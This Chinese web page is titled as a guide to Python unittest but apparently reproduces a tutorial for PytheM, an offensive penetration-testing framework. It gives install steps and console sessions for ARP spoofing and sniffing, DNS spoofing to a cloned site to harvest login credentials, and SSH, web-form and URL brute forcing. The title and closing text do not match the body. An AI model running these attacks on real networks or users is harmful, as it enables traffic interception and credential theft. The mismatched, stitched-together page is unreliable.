首页 / 知识
Python的Unittest单元测试使用详解
2023-11-12 13:33:00
PytheM是一个Python渗透测试框架。它只能在osnGNU/LinuxOS系统上运行。
安装
$sudoapt-getupdate$sudoapt-getinstalllibasound-devlibjack-jackd2-devportaudio19-devpython-pyaudiobuild-essentialpython-devlibnetfilter-queue-devlibespeak1libffi-devlibssl-dev$sudogitclonehttps://github.com/m4n3dw0lf/PytheM/$cdPytheM$sudopipinstall-rrequirements.txt
运行
$sudo./pythem
例子
ARP欺骗-HTTP中间人攻击
命令:
pythem>setinterface[+]Entertheinterface:wlan0pythem>setgateway[+]Enterthegateway:192.168.1.1pythem>arpspoofstart[+]Settingthepacketforwarding.[+]Iptablesredefined.[+]ARPspoofinginitialized.pythem>sniff[+]Enterthefilter:http
ARP+DNS欺骗-重定向到伪造的页面,收集登录凭证
使用SET等克隆工具克隆你选中的网站,并部署在Apache2上
命令:
pythem>settarget[+]Enterthetarget(s):192.168.0.8pythem>setinterfacewlan0pythem>setgateway192.168.0.1pythem>arpspoofstart[+]Settingthepacketforwarding.[+]Iptablesredefined.[+]ARPspoofinginitialized.pythem>dnsspoofstart[+]Domaintobespoofed:www.google.com[+]IPaddresstoberedirected:192.168.0.6[+]DNSspoofinginitialized.pythem>sniffdns
SSH暴破-暴力破解
pythem>servicesshstartpythem>settarget[+]Enterthetarget(s):127.0.0.1pythem>setfilewordlist.txtpythem>brute-forcessh[+]Entertheusernametobruteforce:anon123
Web页面参数暴力破解
首先获取web页面登录时的参数格式id=value
显示重定向页面,如果定向到一个不同的页面则说明猜解正确。
命令
pythem>settargethttp://127.0.0.1/pythem>setfile[+]Enterthepathtothefile:wordlist.txtpythem>brute-forcewebform[+]Brute-Formauthenticationinitialized.[+]Entertheinputidoftheusernamebox:vSIS_ID[+]Entertheinputidofthepasswordbox:vSIS_PASS[+]Entertheusernametobrute-forcetheformulary:root
URL内容爆破
pythem>settarget[+]Enterthetarget(s):http://testphp.vulnweb.com/index.php?id=pythem>setfile1to100.txtpythem>brute-forceurl[+]ContentURLbruterinitialized.
功能
[PytheM–PenetrationTestingFrameworkv0.3.2]
help:
打印帮助信息。
exit/quit:
退出程序。
set:
设置变量的值,参数:
interface
gateway
target
file
arpmode例子:
pythem>setinterface|openinputtoset
或者
pythem>setinterfacewlan0|don'topeninputtosetvalue
print:
打印变量的值,例子:
pythem>printgateway
scan:
进行tcp/manualport/arp扫描.
(应该在设置完网卡和目标后再调用)例子:
pythem>scan
或者
pythem>scantcp
arpspoof:
开始或结束arpspoofing攻击.(使用rep或req可以设置arp欺骗的模式,rep表示欺骗响应,req表示欺骗请求)
参数
start
stop
例子:
arpspoofstartarpspoofstop
dnsspoof:
开始dnsspoofing攻击.(应该在arp欺骗攻击开始后再调用)例子:
pythem>dnsspoofstartpythem>dnsspoofstop
sniff:
开始嗅探数据包(应该在设置网卡后再调用)例子:
pythem>sniffhttp
或者
pythem>sniff
[+]Enterthefilter:port1337andhost10.0.1.5|tcpdumplikeformatorhttp,dnsspecificfilter.
pforensic:
开始分析数据包(应该在设置完网卡和.pcap文件后调用)例子:
pythem>pforensicpforensic>help
brute-force:
开始暴力破解攻击(应该在设置完目标和字典文件路径后调用)参数:
ssh|目标是IP地址ipaddressastargeturl|目标是url(包含http://或https://)webform|目标是url(包含http://或https://)例子:pythem>brute-forcewebformpythem>brute-forcessh
geoip:
显示IP地址的大概位置(应该在设置目标(IP地址)后再调用)例子:
pythem>geoip
或者
pythem>geoip8.8.8.8
decodeandencode:
以选择的模式解码和编码字符串,例子:
pythem>decodebase64pythem>encodeascii
cookiedecode:
解码base64url编码的cookie的值,例子:
pythem>cookiedecode
其它在控制台可以执行的命令,比如cd,ls,nano,cat等。
Jarvis–声音控制助手
[*]jarvistypejarvis-helptoseethejarvishelppage.examples:pythem>jarvis(以语音识
以上内容为大家介绍了Python的Unittest单元测试使用详解,希望对大家有所帮助,如果想要了解更多Python相关知识,请关注我们
最新内容
相关内容
提升Python数据分析能力的方法
提升Python数据分析能力的方法,分析,数据,工具,代码,时间,环境,报告,信息,培训,标准,1.Pandas分析包这个工具的好处是显而易见的。下面的动画Python切片操作详细例子
Python切片操作详细例子,情况,连续,培训,数据,切片,操作,终点,两者,矛盾,起点,以下示例均以列表a=[0,1,2,3,4,5,6,7,8,9]为例:>>>a=[0,1,2,3,4Python工具库之collections
Python工具库之collections,代码,数据,模具,情况,工具,概念,管理,一致,培训,名字,collection在英文当中有容器的意思,所以顾名思义,这是一个容Python系统互动
Python系统互动,互动,系统,管理,通信,标准,管理系统,培训,操作系统,功能,进程,系统互动,主要指Python和操作系统(operatesystem)、文件系统(fipython虚拟环境工具virtualenv
python虚拟环境工具virtualenv,环境,名字,工具,系统,工作,工程,位置,管理,培训,地方,virtualenv是一个创建隔绝的Python环境的工具。virtualepython操作系统接口模块:OS
python操作系统接口模块:OS,管理,工作,工具,系统,服务,培训,模块,文件,目录,函数,OS模块提供了很多与操作系统进行交互的函数,比如常见的使用函Python性能分析
Python性能分析,代码,分析,对比,时间,工具,标准,注释,跨行,通用,报告,python标准库提供两个代码性能分析相关的模块,即timeit和cProfile/profi使用Python执行系统命令方法
使用Python执行系统命令方法,系统,信息,培训,标准,命令,方法,模块,操作,终端,中文,Python是一款操作简单的编程语言,内置丰富的库,能够很容易的Python 需求分析的方法
Python 需求分析的方法,系统,设计,分析,产品,网站,时间,服务,社会保险,证券,银行,需求分析518方法,简称我要发,具体就是5w1h8c5w+1h属于功能属基于 Python K-近邻算法的手写识别
基于 Python K-近邻算法的手写识别系统,数据,数字,分析,培训,系统,算法,近邻,测试,样本,图形,这里我们一步步的构造使用k-近邻分类器的手写识Python 小工具 FFmpeg
Python 小工具 FFmpeg,基础,信息,位置,培训,图片,软件,标准,代码,视频,水印,FFmpeg是一套强大的音视频处理程序,也是很多音视频软件的基础,事实python如何读取列表中元素的位置?
python如何读取列表中元素的位置?,位置,数据,异常,培训,字符串,元素,索引,方法,示例,结果,python读取列表中元素位置的方法:1、使用index()方